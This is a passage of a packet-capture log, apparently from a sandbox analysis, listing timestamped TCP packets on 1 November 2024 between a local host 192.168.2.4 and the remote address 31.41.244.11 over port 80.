Nov 1, 2024 10:57:10.960690022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960700035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960709095 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960711002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960724115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960732937 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960741997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960745096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960753918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960764885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960771084 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960776091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960784912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960812092 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960817099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960828066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960838079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960853100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960876942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960931063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960942030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960951090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960966110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960968971 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960983038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960994005 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960994959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961014986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961015940 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961024046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961034060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961040974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961069107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961097002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961107016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961117029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961127996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961138964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961142063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961150885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961153030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961174965 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961194038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961267948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961278915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961288929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961299896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961307049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961312056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961322069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961332083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961333990 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961345911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961353064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961374998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961395025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961404085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961421013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961431026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961442947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961453915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961458921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961471081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961483955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961488962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961493015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961505890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961510897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961518049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961529016 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961549997 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961550951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961561918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961571932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961581945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961586952 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961594105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961605072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961616039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961616039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961625099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961642027 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961659908 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961688995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961698055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961707115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961718082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961725950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961729050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961740017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961745024 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961751938 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961776018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961805105 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961833000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961843967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961855888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961867094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961872101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961879015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961889029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961889982 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961899996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961904049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961932898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961940050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961951017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961961031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.961981058 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.961992025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.962013006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.962023973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.962033033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.962091923 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.962658882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.978446960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.978480101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.978506088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.978518009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.978528023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.978543043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.978586912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.978601933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.978614092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.978646994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.044965029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045007944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045073986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045145988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045165062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045176983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045186996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045214891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045224905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045228004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045253038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045253992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045267105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045277119 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045277119 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045285940 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045305014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045321941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045332909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045362949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045375109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045386076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045399904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045424938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045587063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045597076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045604944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045628071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045636892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045650005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045660019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045669079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045679092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045690060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045716047 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045749903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045761108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045769930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045783997 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045809984 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045852900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045864105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045874119 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045883894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045893908 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045895100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045902014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045906067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045927048 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045949936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.045968056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045977116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045986891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.045999050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046010017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046029091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046087027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046096087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046104908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046125889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046144962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046154022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046169043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046178102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046189070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046197891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046204090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046209097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046221972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046247005 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046360016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046370983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046380043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046394110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046397924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046406031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046413898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046433926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046439886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046448946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046473026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046480894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046509981 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046524048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046535015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046559095 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046562910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046571970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046596050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046617031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046650887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046689034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046699047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046709061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046720982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046726942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046731949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.046756983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.046787977 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047323942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047362089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047373056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047403097 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047440052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047450066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047457933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047468901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047482014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047494888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047513008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047521114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047530890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047544956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047554016 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047573090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047581911 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047604084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047614098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047622919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047631979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047638893 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047648907 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047674894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047702074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047713041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047722101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047741890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047760963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047777891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047816038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047822952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047832012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047862053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047890902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047900915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047909975 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047919989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047930002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047945976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.047983885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.047993898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048026085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048031092 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048037052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048058033 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048074007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048079967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048084021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048094034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048106909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048120975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048271894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048281908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048291922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048314095 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048332930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048351049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048362017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048371077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048379898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048389912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048392057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048415899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048424959 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048439980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048450947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048460007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048470020 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048476934 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048506021 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048536062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048543930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048557997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048568964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048568964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048580885 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048607111 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048643112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048654079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048661947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048671007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048681021 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048681974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048690081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048724890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048752069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048763037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048770905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048780918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048794985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048814058 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.048970938 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048979998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.048991919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049001932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049012899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049015999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049027920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049034119 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049040079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049048901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049057961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049061060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049068928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049079895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049089909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049109936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049112082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049119949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049145937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049146891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049156904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049165964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049179077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049180031 CET	80	49820	31.41.244.11	192.168.2.4
